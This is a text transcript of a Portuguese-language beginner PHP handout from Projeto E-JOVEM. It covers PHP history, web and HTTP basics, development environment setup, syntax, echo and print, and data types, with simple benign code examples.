58777500 apostila php

127
PROJETO E-JOVEM APOSTILA PHP

Upload: erenilson-bezerra

Post on 28-Oct-2015

155 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: 58777500 Apostila PHP

PROJETO E-JOVEM

APOSTILA PHP

Page 2: 58777500 Apostila PHP

Projeto E-JOVEM

3

Índice 1. História e Funcionalidades do PHP .................................................................................... 4 2. O ambiente WEB .................................................................................................................. 7 3. Ambiente de desenvolvimento ............................................................................................. 9 4. Ambiente HTTP .................................................................................................................. 12 5. Estrutura do código PHP ................................................................................................... 17 6. Integrando PHP com HTML ............................................................................................. 20 7. Tipos de Dados .................................................................................................................... 21 8. Variáveis .............................................................................................................................. 24 9. Constantes ........................................................................................................................... 25 10. Operadores .......................................................................................................................... 26 11. Estruturas de Controle ....................................................................................................... 32 12. Funções: definição, criação, return, parâmetros. ............................................................ 37 13. Reutilização de Código Include e require ......................................................................... 40 14. Função Recursiva ............................................................................................................... 41 15. Trabalhando com Array .................................................................................................... 43 16. Trabalhando com String .................................................................................................... 50 17. Trabalhando com Data e Hora .......................................................................................... 56 18. Formulários HTML ............................................................................................................ 60 19. Upload de Arquivos ............................................................................................................ 63 20. Sessões e Cookies ................................................................................................................ 66 21. Manipulando Arquivos ...................................................................................................... 67 22. Enviando E-mail ................................................................................................................. 72 23. Integrando PHP com Mysql .............................................................................................. 76 24. Ferramenta para trabalhar com Mysql phpMyAdmin ................................................. 80 25. Introdução a OO com PHP ................................................................................................ 81 26. Definindo uma Classe ......................................................................................................... 84 27. Construtores e Destrutores ................................................................................................ 88 28. Instanciando um Objeto ..................................................................................................... 91 29. Trabalhando a segurança do seu sistema ......................................................................... 92 30. Exercícios Resolvidos ....................................................................................................... 102 31. Exercícios Propostos ......................................................................................................... 115

Page 3: 58777500 Apostila PHP

Projeto E-JOVEM

4

Introdução

Traremos nesta apostila uma das linguagens mais utilizadas para o desenvolvimento WEB, a linguagem PHP que é um acrônimo (sigla) para Hypertext Preprocessor, o PHP é uma linguagem de código-fonte aberto. Em comparativo com outras linguagens como PERL ou C, o PHP ao invés de escrever um programa com um monte de comandos para imprimir HTML, você escreve um arquivo HTML com algum código inserido para fazer alguma coisa (nesse caso, imprimir um pouco de texto). O código PHP é delimitado por tags iniciais e finais que lhe permitem pular pra dentro e pra fora do “modo PHP”, mas isso explicaremos melhor durante o curso.

1. História e Funcionalidades do PHP

O PHP foi criado por volta de 1994 por Rasmus Lerdorf, que inicialmente o utilizava em sua home page pessoal. Em meados de 1995 ele passou a ser utilizado por outras pessoas e foi reescrito com novos recursos, sendo renomeado para PERSONAL HOME PAGE Tools/FI, e entre os novos recursos, passou a contar com suporte ao MSql. Dois anos mais tarde o PHP deixou de ser um projeto pessoal de Rasmus e passou a ser desenvolvido por uma equipe de colaboradores, e neste período, foi lançada a versão 3 do PHP. A partir da versão 4 o PHP passou a utilizar a engine de scripting da ZEND, para melhorar a performance e suportar uma variedade maior de bibliotecas externas e extensões. Até março de 2002, o PHP estava sendo utilizado em 9.000.000 de domínios. Atualmente esses números chegam a 37,10% dos sites do mundo todo. Rasmus Lerdorf iniciou o desenvolvimento do PHP para mostrar as estatísticas de sua página pessoal, substituindo alguns scripts feitos em Perl. 1.1. A Linguagem PHP A linguagem PHP é voltada principalmente para o ambiente WEB, mas pode ser usada para a criação de aplicações desktops, aplicações servidoras, de rede, entre outros. Se você ainda não está habituado com linguagens de programação, poderá achar inicialmente PHP um pouco difícil, mas logo perceberá que é uma linguagem muito fácil. PHP é uma linguagem orientada a objetos e sua sintaxe é bem parecida com a do C, só que bem mais simples e prática. 1.2. Vantagens e o que pode ser feito com PHP

Qualquer coisa feita pode ser feita com PHP, como coletar dados de formulários, gerar páginas dinâmicas, enviar e receber cookies. Além disso, PHP tem suporte a outros serviços através de protocolos como IMAP, SNMP, NNTP, POP3 e, logicamente, HTTP. Ainda é possível abrir sockets e interagir com outros protocolos.

Page 4: 58777500 Apostila PHP

Projeto E-JOVEM

5

Algumas vantagens do PHP:

• É uma linguagem de fácil aprendizado; • Tem performance e estabilidade excelentes; • Seu código é aberto, não é preciso pagar por sua utilização, e é possível altera-lo na

medida da necessidade de cada usuário. • Tem suporte nos principais servidores web do mercado e suporte nativo no servidor

web apache (o mais utilizado no mundo); • Suporta conexão com os banco de dados mais utilizados no mercado, como por

exemplo MySQL, PostgreSQL, Oracle e DB2; • É multiplataforma, tem suporte nos sistemas operacionais mais utilizados no mercado; • Não precisa ser compilado; • Aceita orientação a objetos;

1.3. Como Funciona O PHP.

Ao digitar um endereço no seu browser (Firefox, Internet Explorer, chrome), abrirá uma comunicação simples entre o cliente (seu browser) e o servidor Web funcionando da seguinte forma:

• O cliente (seu browser) decompõe a URL (endereço da página) em várias partes, tais como nome do domínio, nome da página e protocolo. Por exemplo, o domínio HTTP://www.teste.com.br/noticia.php, teria o nome de domínio teste.com.br, o nome da página noticia.php e o protocolo HTTP.

• O DNS (Servidor de Nome de Domínio) interpretará o seu domínio informando seu

endereço de IP, números combinados que representa o endereço real no site na internet (como se fosse o CEP da nossa rua). Por exemplo, para o domínio teste.com.br nós teríamos o endereço de IP 69.38.21.53. Então o que seria mais fácil de lembrar, o domínio ou seu endereço de IP ?

• O cliente (seu browser) determina qual protocolo será usado. Por exemplo, temos o

protocolo HTTP (Protocolo de Transferência de HiperTexto) e FTP (Protocolo de Transferência de Arquivo).

• Então o servidor web retorna os arquivos solicitados. Por exemplo, no domínio

HTTP://www.teste.com.br/noticia.php, o browser solicita o arquivo noticia.php do servidor teste.com.br e ficará aguardando a resposta. O servidor então responde os pedidos do browser. Verifica se o endereço existe, encontra os arquivos necessários, executa as instruções apropriadas e retorna para os resultados de volta para o browser. Se não puder localizar o arquivo, o servidor envia a uma mensagem de erro para o cliente.

Page 5: 58777500 Apostila PHP

Projeto E-JOVEM

6

• O browser recebe os dados do servidor na linguagem HTML interpreta essas instruções e exibe os resultados para o usuário.

Esse processo é repetido até que o cliente (seu browser) deixe o site. 1.4. Exemplo de um código PHP

<?php $valor = 5; // atribui o valor 5 a variavel $valor print $valor; // imprime 5, que é o resultado variavel $valor print "<br/>"; // pula uma linha. echo $valor; // realiza o mesmo que print

print "<br/>"; // pula uma linha. if($valor > 10){ // se o valor for maior que 10 print "Valor maior do que 10"; // imprime o resultado }else{ // se não print "Valor menor do que 10"; // imprime o resultado } ?>

1.5. Site oficial PHP e como utiliza-lo

O site oficial do php é HTTP://www.php.net, lá podemos tirar duvidas sobre funções, visualizar sua documentação, fazer download do PHP, ler notícias e novidades sobre o PHP, reportar bugs, ler o FAQ, entre outras coisas.

1.5.1. Buscando uma função no site

Quando você estiver com dúvidas sobre uma determinada função poderá recorrer sempre ao site oficial do PHP. Para isso, vamos seguir os passos:

1. Digite o endereço do site: HTTP://www.php.net

2. Procure por search for, que encontra-se no canto superior direito.

3. Digite uma função por exemplo, print.

4. Verifique se está in the function list. Isso quer dizer que você fará sua busca dentro da lista de funções.

5. Aperte Enter ou clique na setinha para pesquisar a função.

Será exibida uma tela, onde mostrará a função, sua descrição, seus parâmetros, seu valor retornado, exemplos e funções relacionadas. A maioria das funções possui exemplos e estão disponíveis em português.

Page 6: 58777500 Apostila PHP

Projeto E-JOVEM

7

2. O ambiente WEB

2.1. Como funciona a internet Para seu funcionamento, a internet utiliza um procedimento detalhado para a troca de dados. Existem regras a serem seguidas, que são chamadas de "protocolos de comunicação". Essas regras são similares as da linguagem humana. Por exemplo, quando duas pessoas estão conversando, enquanto uma fala a outra escuta, para que haja uma compreensão é necessário que as palavras estejam dentro da sintaxe da linguagem conveniente. Caso o interlocutor não compreenda a mensagem, ele solicita que seja repetida. 2.2. Protocolo TCP/IP

Para a troca de mensagens na internet foi desenvolvido o protocolo TCP/IP – Transmission Control Protocol/Internet Protocol (Protocolo de Controle de Transmissão/Protocolo de Internet). O TCP/IP é o protocolo básico para a comunicação entre as máquinas conectadas à internet, que gerencia toda a parte de transmissão e distribuição de dados na rede.

2.2.1. Funções do TCP

O TCP - Transmission Control Protocol(Protocolo de Controle de Transmissão) é o responsável por quebrar a mensagem em pacotes de informação. Quando o computador de destino da mensagem recebe os pacotes, ele utiliza o TCP para recombiná-los na mensagem original. Comparando a quantidade de informação enviada com a quantidade de Informação recebida na mensagem, o computador de destino pode então garantir que não ocorreram erros na transmissão da mensagem. 2.2.2. Funções do IP

O IP - Internet Protocol(Protocolo de internet) é o responsável por assegurar que a informação chegará no computador de destino. Resumindo o IP tem as funções de:

• Cuidar do envelopamento

• Endereçamento (remetente e destinatário)

• Envio dos dados empacotados

2.3. Protocolo HTTP

O HTTP é o protocolo que gerencia e formaliza as requisições e as respostas trafegadas entre o cliente e o servidor web. Caso o servidor web encontre a página, ela será enviada em partes ao navegador, caso contrário, o servidor enviará uma mensagem de erro.

Page 7: 58777500 Apostila PHP

Projeto E-JOVEM

8

2.4. Serviços da Internet

Abaixo listamos alguns serviços disponíveis na internet e suas definições:

• WEB (www) – Páginas com os mais variados assuntos. é um sistema de documentos em hipermídia que são interligados e executados na Internet. Os documentos podem estar na forma de vídeos, sons, hipertextos e figuras.

• Correio Eletrônico - Comunicação entre pessoas através de mensagens escritas (@).

O funcionamento do e-mail segue o seguinte procedimento. Você escreve a mensagem no seu computador para alguém. Esta mensagem vai primeiro para o seu provedor que transmite para o provedor da pessoa para quem você escreveu. Então, a pessoa deve acessar o próprio provedor para resgatar sua mensagem.

• FTP – FTP significa File Transfer Protocol (Protocolo de Transferência de Arquivos),

e é uma forma bastante rápida e versátil de transferir arquivos (também conhecidos como ficheiros), sendo uma das mais usadas na internet.

• WAP – Disponibilização de recursos da Internet via telefonia celular • Conversas On-line - Troca de informações simultâneas

Abaixo temos uma figura que demonstra muito bem a forma como acessamos esses serviços:

Porém para acessarmos esses serviços precisamos utilizar os provedores da internet, veja abaixo algumas explicações. Algumas das formas para conectarmos a internet:

• Uma linha telefônica discada: dial-up. Para a conexão dial-up será necessário uma linha telefônica, ligada a um modem, conectado ao computador e um provedor de acesso para onde você vai ligar e que irá permitir seu acesso à Internet.

Page 8: 58777500 Apostila PHP

Projeto E-JOVEM

9

• Conexões de alta velocidade: ADSL, fibra ótica, TV a cabo, satélite.

• Conexão dedicada é um tipo caro mas muito rápido de conexão. É o utilizado normalmente pelos provedores: a estação do provedor é conectada via cabo aos Backbones (linhas de altíssima velocidade de conexão à Internet).

2.4.1. Provedores Os provedores estão conectados à Internet 24 horas por dia por meio dos backbones (espinha dorsal da Internet). Você deve possuir uma assinatura (paga ou não) com o provedor para poder ter acesso a internet, assim o provedor disponibiliza um endereço único para você. Nos computadores do provedor você tem também um espaço para armazenar suas informações e mensagens eletrônicas.

2.5. Tipos de Domínio

Ao invés de decorarmos os Ips, decoramos os domínios ou nomes: http://www.educandus.com.br http:// - protocolo www – tipo de serviço com – tipo de domínio br – país No Brasil, para registrar um domínio precisamos entrar no site HTTP://www.registro.br. No site existe um local onde poderemos pesquisar um domínio. Caso esse domínio esteja disponível para registro você poderá comprá-lo.

3. Ambiente de desenvolvimento

Para começarmos a programar precisamos definir nosso ambiente de desenvolvimento ou ambiente de trabalho. O ambiente de desenvolvimento nada mais é que todos os softwares e aplicativos necessários para ajudar o programador em seu trabalho. Seja na criação do seu sistema, na simulação em ambiente web ou na realização de testes. 3.1. Sistemas necessários para o desenvolvimento em PHP

Para programar em PHP será necessário termos um servidor web rodando em nossa máquina, isso será útil para simularmos como nosso sistema estará funcionando quando o mesmo estiver disponível na internet e para o armazenamento de dados no banco, necessitaremos também de uma IDE de desenvolvimento, esse, não sendo tão essencial para seu desenvolvimento, mas extremamente útil para acelerar o processo de desenvolvimento.

Page 9: 58777500 Apostila PHP

Projeto E-JOVEM

10

3.2. Xampp

Uma das suítes de desencolvimento mais utilizadas para PHP é o XAMPP, que é um pacote de aplicativos para desenvolvimento web em PHP, e além de sua instalação ser muito fácil, sua usabilidade também é. Sendo necessário apenas baixar, extrair e inicializar. Além disso, o XAMPP é gratuito, esta livre para ser copiado nos termos da licença GNU - General Public License.

Veja abaixo alguns dos aplicativos que já estão integrados ao XAMPP:

• APACHE – Servidor web livre.

• PHP- Linguagem de programação.

• PERL – Linguagem de programação.

• MYSQL - Linguagem de banco de dados.

• PHPMYADMIN - é um programa de computador desenvolvido em PHP para administração do MySQL pela Internet.

Esses são os aplicativos essenciais para simular um servidor web na sua máquina, assim será possível testar as aplicações que serão criadas. Nesta apostila não vamos mostrar como instalar o XAMPP, pois existem muitas formas de se instalar o xampp, uma delas você poderá seguir usando as aulas no portal da educandus. 3.3. IDE de Desenvolvimento

IDE - Integrated Development Environment (Ambiente Integrado de Desenvolvimento), é um programa de computador que reúne características e ferramentas de apoio aos desenvolvedores de software, cujo objetivo é de agilizar o processo de produção. 3.4. Principais características de uma IDE As principais características de uma IDE com suporte a PHP são:

• Editar o código fonte do sistema em desenvolvimento, colocar cores diferenciando variáveis, palavras-chave, funções e etc. tornando fácil sua compreensão.

• Auxiliar no processo de encontrar e corrigir erros (bugs) no código-fonte do programa, na tentativa de aprimorar a qualidade de software.

• Ajudar na utilização de funções nativas da linguagem, completando automaticamente e mostrando os valores passados e retornados delas.

Page 10: 58777500 Apostila PHP

Projeto E-JOVEM

11

• Na utilização de Orientação a Objetos, a IDE auxilia na utilização de métodos das classes.

3.5. Qual IDE Utilizar ?

Indicamos que você utilize o ECLIPSE PDT, que além de ser uma ide gratuita, atende a todos as necessidades do programador PHP. Veja abaixo como configurar seu ambiente de desenvolvimento:

1. Acesse o link: http://download.eclipse.org/tools/pdt/downloads/

2. Procure pelo Release Build mais atualizado e clique no link

3. Será carregada outra página, contendo o Release Build.

4. Procure por PDT All-in-One e baixe a versão para seu sistema operacional

5. Após o download, descompacte o arquivo.

6. Pronto o eclipse PDT já pode ser usado.

Para executar o eclipse, seguiremos os passos abaixo:

1. Clicamos no ícone do eclipse.

2. Como é a primeira vez em que estamos usando o eclipse. Será necessário definirmos o local do nosso Workspace (área de trabalho).

3. Para definirmos nosso Workspace clicaremos no botão browser, abrirá uma janela para selecionarmos o diretório do nosso Workspace.

OBS: será necessário escolhermos a pasta htdocs, que encontrasse dentro de lampp. Geralmenete no caminho /opt/lampp/htdocs. Esse é o mesmo caminho onde nós instalamos o xampp.

4. Selecione a opção “Use this as the default and do not ask again” (use esse diretório como default e não pergunte novamente)

5. Será exibida a tela de boas vindas do eclipse PDT

Obs.: Você pode utilizar qualquer outra ide para o desenvolvimento PHP, você deve apenas levar em consideração aquela que mais se adapta a seu estilo de trabalho.

Page 11: 58777500 Apostila PHP

Projeto E-JOVEM

12

4. Ambiente HTTP

Como falamos anteriormente HTTP (Hypertext Transfer Protocol ou Protocolo de Transferência de Hipertexto) é um protocolo de comunicação utilizado para transferir dados por intranets e pela World Wide Web. Geralmente, esse protocolo utiliza a porta 80 e é usado para a comunicação de sítios web, comunicando na linguagem HTML. Ele surgiu da necessidade de distribuir informações pela Internet. Para isso tornou-se necessário uma forma de comunicação que tornasse padrão à comunicação entre cliente e servidor, tornando assim possível de ser interpretada por todos os computadores ligados na Internet. 4.1. Funcionamento do HTTP

O HTTP utiliza o modelo cliente-servidor, como na grande maioria dos protocolos de rede, baseando-se no paradigma de requisição e resposta. Um programa requisitante (cliente) estabelece uma conexão com um outro programa receptor (servidor) e envia-lhe uma requisição, contendo a URI, a versão do protocolo, uma mensagem MIME (padrão utilizado para codificar dados em formato de textos ASCII para serem transmitidos pela Internet) contendo os modificadores da requisição, informações sobre o cliente e, possivelmente, o conteúdo no corpo da mensagem.

O servidor responde com uma linha de status (status line) incluindo sua versão de protocolo e um código de operação bem sucedida ou um código de erro, seguido pelas informações do servidor, meta informações da entidade e possível conteúdo no corpo da mensagem. Após o envio da resposta pelo servidor, encerra-se a conexão estabelecida.

4.2. Mensagem HTTP

No protocolo HTTP a comunicação entre cliente e servidor é feita através de mensagens: • O cliente envia uma mensagem de requisição e o servidor uma de resposta ao cliente

com a solicitação.

• Uma mensagem, tanto de requisição como de resposta, é composta, por uma linha inicial, nenhuma ou mais linhas de cabeçalhos, uma linha em branco obrigatória que finaliza o cabeçalho e para finalizar o corpo da mensagem, que poderá ser opcional em alguns casos.

Page 12: 58777500 Apostila PHP

Projeto E-JOVEM

13

4.2.1. Cabeçalho da Mensagem

O cabeçalho da mensagem (header) é utilizado para adicionar informações na transmissão entre o cliente e o servidor. Sendo inserido logo após a linha inicial da transação (método), tanto para a requisição do cliente quanto para a resposta do servidor, seguido de dois pontos (:) e um valor.

4.2.2. Corpo da Mensagem Uma mensagem HTTP poderá conter um corpo de dados que serão enviados abaixo das linhas do cabeçalho. Na resposta, essa mensagem poderá conter o recurso que foi requisitado pelo cliente ou uma mensagem de erro, caso esse recurso não seja possível. Já numa requisição, poderá conter dados que serão enviados pelo usuário ou um arquivo que será enviado para o servidor. Quando uma mensagem HTTP tiver um corpo, poderão ser incluídos cabeçalhos de entidades que descrevem suas características, como por exemplo, o Content-Type que informa o tipo MIME dos dados no corpo da mensagem e o Content-Length que informa a quantidade de bytes que o corpo da mensagem contém.

Exemplos: Descrição text/plain Arquivo no formato texto (ASCII) text/html Arquivo no formato HTML, utilizado como

padrão para documentos Web Image/gif Imagem com o formato GIF Image/jpeg Imagem com o formato JPEG application/zip Arquivo compactado

Page 13: 58777500 Apostila PHP

Projeto E-JOVEM

14

4.3. Requisição Uma mensagem de requisição enviada pelo cliente é composta por:

• Uma linha inicial (Request-Line)

• Linhas de cabeçalhos (Request-header)

• Linha em branco obrigatória

• Corpo da mensagem (opcional)

A linha inicial de uma requisição é composta por três partes separadas por espaços: • O método (Method)

• A identificação do URI (Request-URI)

• A versão do HTTP (HTTP-Version) utilizado.

No protocolo HTTP, o tipo de URI utilizado é chamado de URL (Uniform Resource Locater), que é composto pela identificação do protocolo, pelo endereço do computador servidor e pelo documento requisitado. 4.4. Métodos O protocolo HTTP possui 8 métodos que indicam a ação a ser realizada no recurso especificado. O método é o responsável por determinar o que o servidor deve fazer com a URL fornecida no momento da requisição de um recurso. São eles:

• GET – O método mais comum. Solicita um recurso seja um arquivo ou um script CGI. O método GET é reconhecido por todos os servidores.

• HEAD – É o mesmo que GET, mas o recurso não será retornado. É usado para obter meta informações por meio do cabeçalho da resposta, sem ter que recuperar todo o conteúdo.

• POST – Envia dados que serão processados (por exemplo, formulários HTML). Os dados são incluídos no corpo do comando.

Page 14: 58777500 Apostila PHP

Projeto E-JOVEM

15

Uma requisição por método POST requer sempre que:

1. As informações submetidas sejam anexadas ao corpo da mensagem e formatadas como uma query string

2. Conter cabeçalhos adicionais especificando seu tamanho (Content-Lenght) e seu formato (Content-Type).

Por isso, esse método oferece uma maior segurança em relação aos dados transferidos, ao contrário do método GET que os dados são anexados a URL, ficando visíveis ao usuário.

• PUT – Envia certo recurso.

• DELETE – Exclui o recurso.

• TRACE - Ecoa o pedido, de maneira que o cliente possa saber o que os servidores intermediários estão mudando em seu pedido.

• OPTIONS - Recupera os métodos HTTP que o servidor aceita.

• CONNECT - Serve para uso com um proxy que possa se tornar um túnel SSL (um túnel pode ser usado, por exemplo, para criar uma conexão segura).

4.5. Resposta Uma mensagem de resposta é composta pelos seguintes campos:

• Uma linha inicial (Status-Line).

• Linhas de cabeçalhos (Responseheader).

• Uma linha em branco obrigatória.

• Um corpo de mensagem opcional.

A linha inicial de uma resposta, chamada de linha de status, possui por sua vez três partes separadas por espaços:

• A versão do protocolo HTTP (HTTP-Version).

• Um código de status (Status-Code) da resposta, que fornece o resultado da requisição.

• Uma frase de justificativa (Reason-Phrase) que descreve o código do status.

Page 15: 58777500 Apostila PHP

Projeto E-JOVEM

16

4.6. Os Códigos de Retornos O Status-Line de uma resposta HTTP indica ao cliente se sua requisição foi bem sucedida ou não. Esta situação é fornecida através de um código de retorno (Status-Code) e uma frase explicativa. O código de status é formado é formado por três dígitos sendo o primeiro o digito que informa a classe que pertence. Existem cinco tipos:

• 1xx. Informação (Informational) – utilizada para informar o cliente que sua requisição foi recebida e está sendo processada.

• 2xx. Sucesso (Success) – indica que a requisição foi concluída com sucesso.

• 3xx. Redirecionamento (Redirection) – informa a ação adicional que deverá ser tomada para completar a requisição.

• 4xx. Erro no cliente (Client Error) – informa que a requisição feita pelo cliente não poderá ser atendida.

• 5xx. Erro no Servidor (Server Error) – ocorreu um erro no servidor ao tentar cumprir uma requisição valida.

4.7. Outros Protocolos Existem outros tipos de protocolos como:

• FTP (File Transfer Protocol, ou Protocolo de Transferência de Arquivos), usado para envio de arquivos do computador para um servidor na Web.

• SMTP (Simple Mail Transfer Protocol, ou Protocolo de Transferência de Correio Simples), protocolo usado para correio eletrônico (e-mail).

Page 16: 58777500 Apostila PHP

Projeto E-JOVEM

17

4.8. Esquema de Comunicação

5. Estrutura do código PHP

Sitaxe Antes de tudo, uma aplicação PHP é um pequeno conjunto de blocos básicos de construção. O PHP foi construído com a intenção de ser simples. A sintaxe php é fácil de ser entendida, apesar de ser derivada de muitas outras linguagens como C, PERL e JAVA apartir das ultimas adições de orientação a objeto. Tags e Arquivos Fontes

Arquivo PHP é concebido como processador de texto, com isso pode ser inserido direto em arquivos de texto, utilizando para isso tags especiais o interpretador irá então interpretar o texto fora das tags e executar os que se encontram dentro das tags. Alguns tipos de tags disponíveis:

Tag Padrão <?php

Código php

?> Tag Curta <?

Código php

?> Tag Script <script language=”php”>

Código php

</script>

Page 17: 58777500 Apostila PHP

Projeto E-JOVEM

18

A tag padrão é a melhor forma de abertura e fechamento de tag para se trabalhar com php, por deixar seu código mais portável e compatível, porque é garantida sua disponibilidade e não é desativado ao mudar o arquivo de configuração do php. Porem a forma mais usada no mundo é a tag curta elas não tem o problema de conflito com cabeçalhos XML. Outra grande vantagem e uma das mais usadas, é a possibilidade da utilização de uma impressão direta <?=$variavel?> sem a necessidade da utilização do print ou echo. Você poderá usar qualquer um dos tipos de tags, sabendo que em alguns casos poderá ser necessário configurar o php. Espaço em branco PHP é whitespace-insensitive Isso significa que não há exigências para uso (ou não usar) um tipo específico de caracteres branco (ex.: guias, em vez de espaços), ou um determinado número de caracteres branco, exceto em alguns casos:

• Você não pode ter nenhum espaço entre <? e php • Não pode romper uma palavra-chave (por exemplo: whi Le, fo r ou func tion) • Não pode romper nome de variáveis e funções (por exemplo: $var nome, function

te ste())

Palavras-chave Palavras-chave, palavras-reservada ou ainda keywords. São palavras que tem um significado especial no PHP. Algumas delas representam coisas que parecem funções, algumas parecem constantes, mas na verdade não o são realmente: elas são construtores de linguagem. Você não pode usar nenhuma das seguintes palavras como constantes, nomes de classes, de funções ou de métodos. Utilizar como nome de variáveis geralmente não causa erros, mas pode levar a confusão. Tabela de Palavras-chave:

and or xor __FILE__ exception (PHP 5)

__LINE__ array() as break case class const continue declare default die() do echo() else elseif empty() enddeclare endfor endforeach endif endswitch endwhile eval() exit() extends for foreach function global if include() include_once() isset() list() new

Page 18: 58777500 Apostila PHP

Projeto E-JOVEM

19

print() require() require_once() return() static switch unset() use var while __FUNCTION__ __CLASS__ __METHOD__ final (PHP 5) php_user_filter

(PHP 5) interface (PHP 5) implements

(PHP 5) instanceof (no PHP 5)

public (PHP 5) private (PHP 5)

protected (PHP 5) abstract (PHP 5)

clone (PHP 5) try (PHP 5) catch (PHP 5)

throw (PHP 5) cfunction (PHP 4 somente)

old_function (PHP 4 somente)

this (PHP 5) final (no PHP 5)

__NAMESPACE__ (no PHP 5.3)

namespace (no PHP 5.3)

goto (PHP 6 somente)

__DIR__ (no PHP 5.3)

Comentários Toda linguagem de programação possui formas de comentar o código, e com o php não é diferente. Vale lembrar que é uma boa pratica de programação comentar cada função, classe, método ou propriedade em seu código. Embora seja muito fácil achar códigos mal comentados ou praticamente sem comentários em códigos. Então quando for codificar lembre-se sempre que até você mesmo depois de alguns dias, meses ou anos poderá ter esquecido como programou tal função e será necessário ler e reler algumas vezes o código para entendê-lo.

Tal como acontece com tags, PHP dá-lhe múltiplas escolhas para os seus comentários:

// comentário simples de uma linha

# comentário simples de uma linha

/*

Comentário de varias linhas, comentário em bloco

*/

/**

Page 19: 58777500 Apostila PHP

Projeto E-JOVEM

20

Bloco de código

Um bloco de código é simplesmente uma série de declarações entre duas chaves:

{ / / Alguns comentários f () / / uma chamada de função } Construtor da Linguagem

Talvez a mais comum delas seja a indicação do echo, que permite que você escreva dados de saída.

echo 10; // irá imprimir 10 na tela.

É importante compreender que o ECHO não é uma função e, como tal, não tem um valor de retorno. Se você precisa de saída dados através de uma função, você pode usar print() em vez disso:

echo 10; print (10);

Outra que é muito importante saber é die(), que na verdade é um apelido de exit(). Ela permite que você encerre o script e obtenha uma saída que poderá retornar uma string ou um valor numérico. As funções são, obviamente, um importante elemento da linguagem PHP. Como tal, falaremos mais adiante sobre elas.

6. Integrando PHP com HTML

A linguagem padrão dos browsers é o HTML com isso a integração do PHP com HTML deve ser feita levando-se em consideração que tudo será transformado em HTML ao final. 6.1. Usando print() e echo()

As funções print() e echo() são praticamente idênticas, tendo apenas algumas diferenças que mostraremos abaixo:

• echo( ): Pode receber mais de um parâmetro, mostrando a concatenação dos mesmos. Tem uma sintaxe curta, onde você pode imediatamente abrir a tag com o sinal de igual. Esta sintaxe curta funciona habilitando a definição da configuração short_open_tag.

Ex: <?=”teste”?>.

Page 20: 58777500 Apostila PHP

Projeto E-JOVEM

21

• print( ): Retorna o valor mostrado. $valor = print "teste"; -> imprime “teste” na tela e coloca em $valor a string "teste". echo não retorna nada.

Observação: Ambos são construções da linguagem, portanto podem ser chamados com ou sem os parênteses, mas para enviar mais de um parâmetro para echo, o uso de parênteses é problemático.

6.2. Usando aspas simples e aspas duplas

A escolha do tipo de aspas usado com as funções de impressão (print e echo) é fundamental, pois o resultado pode ser bastante diferente. Com aspas duplas (") podemos usar variáveis e caracteres especiais, como ‘\n’ (para criar uma quebra de linha), já entre aspas simples tudo é literalmente impresso. Exemplo:

<textarea><? print ‘nova \r\n linha’; ?></textarea> <textarea><? print "nova \r\n linha"; ?></textarea>

Você verá na tela que o textarea que usamos aspas simples irá imprimir o \n enquanto o com aspas duplas irá criar uma nova linha.

Outra diferença entre aspas simples e duplas se faz no uso de variáveis, ao imprimir uma variável com aspas simples nós estaremos imprimindo a variável em si. Ao imprimir com aspas duplas estaremos imprimindo o valor do dado que a variável possui.

6.3. Integrando PHP com JAVASCRIPT

Da mesma forma que podemos integrar PHP com HTML, podemos integrar PHP com javascript. Veja o exemplo abaixo:

<?php print "<script>alert('PHP com JAVASCRIPT');</script>"; ?>

Você verá que logo ao carregar a página, será exibido um alerta com o nome que esta entre parêntese.

7. Tipos de Dados

O PHP suporta vários tipos de dados, porém eles são divididos em duas categorias:

Page 21: 58777500 Apostila PHP

Projeto E-JOVEM

22

7.1. Escalar

Um valor escalar contém somente um valor de cada vez. PHP suporta quatro tipos escalares:

boolean Um valor que possa somente ser verdadeiro ou

falso. int Um número de valor inteiro. float Um valor de ponto flutuante string Uma coleção de dados binários.

PHP reconhece dois tipos de números, os inteiros e de valor ponto flutuante. O tipo de dados inteiro é usado para representar inteiros assinados (o significado que os números positivos e negativos podem ser expressos com ele). Os números podem ser declarados usando diversas notações diferentes:

Decimal 10; -11; 1452 Notação decimal padrão. Note que não é

necessário ter separador de milhar, na verdade, é permitido.

Octal 0666, 0100

Notação octal, identificado pelo seu zero à esquerda e utilizado principalmente para expressar UNIX-estilo de permissões de acesso.

Hexadecimal 0×123; 0XFF; -0×100

Notação base-16, veja que há dígitos hexadecimais e 0x são o prefixo principal e são case-insensitive, ou seja, podem ser escritos na forma maiúscula ou minúscula.

OBS: É importante você está bem ciente das diferentes notações, em particular, números octal que pode facilmente ser confundido com os números decimais e pode conduzir a alguns erros.

Os números de pontos flutuantes (chamados também flutuadores e, às vezes, dobros) são os números que têm um componente fracionário. PHP suporta duas notações diferentes para expressá-las:

Page 22: 58777500 Apostila PHP

Projeto E-JOVEM

23

Decimal 0.12; 1234.43; -

.123

Notação decimal tradicional.

Exponencial 2E7, 1.2e2

Exponencial de um conjunto de notação de dígitos significativos, seguido pelo “E” que é case-insensitive, ou seja, podem ser escritos na forma maiúscula ou minúscula, seguido também de um expoente. O número resultante é expresso multiplicou por dez ao poder do expoente, para o exemplo, 1e2 iguais 100.

7.1.1. Strings

Para muitos programadores, strings são equivalentes a textos. Enquanto em algumas linguagens isto é, na verdade, o que acontece, em muitos outros (incluindo o PHP), a string é um dado muito limitado. Strings são na verdade uma coleção de dados binários podendo assim ser um texto, mas também pode ser o conteúdo de um arquivo de imagem, uma planilha eletrônica, ou mesmo uma gravação musical.

7.1.2. Boolean

Um valor booleano só pode conter dois valores: verdadeiro ou falso. De uma maneira geral, Booleans são utilizados como base de operações lógicas, que serão discutidas posteriormente.

Quando converter dados para o tipo booleano, várias regras especiais são aplicáveis:

• Um número (ou inteiro ou de ponto flutuante) torna-se convertido em um Booleano falso se o valor original é zero, e verdade de outra forma.

• Uma string é convertida em falso somente se ela estiver vazia ou se ele contém o único 0. Se ele contém quaisquer outros dados, até mesmo vários zeros, são convertidos para verdadeiro.

• Quando convertida para um número ou uma string, um Booleano 1 passa a ser verdadeiro, e 0 contrário.

7.2. Composto

PHP suporta dois tipos de dados compostos chamados porque são essencialmente recipientes de outros dados:

• Arrays: são recipientes de dados de elementos ordenados; um array pode ser usado

para armazenar e recuperar qualquer outro tipo de dados, incluindo números, valores

booleanos, strings, objetos e até mesmo outras matrizes.

Page 23: 58777500 Apostila PHP

Projeto E-JOVEM

24

• Objetos: são recipientes de ambos os dados e código. Eles formam a base da

programação orientada a objetos.

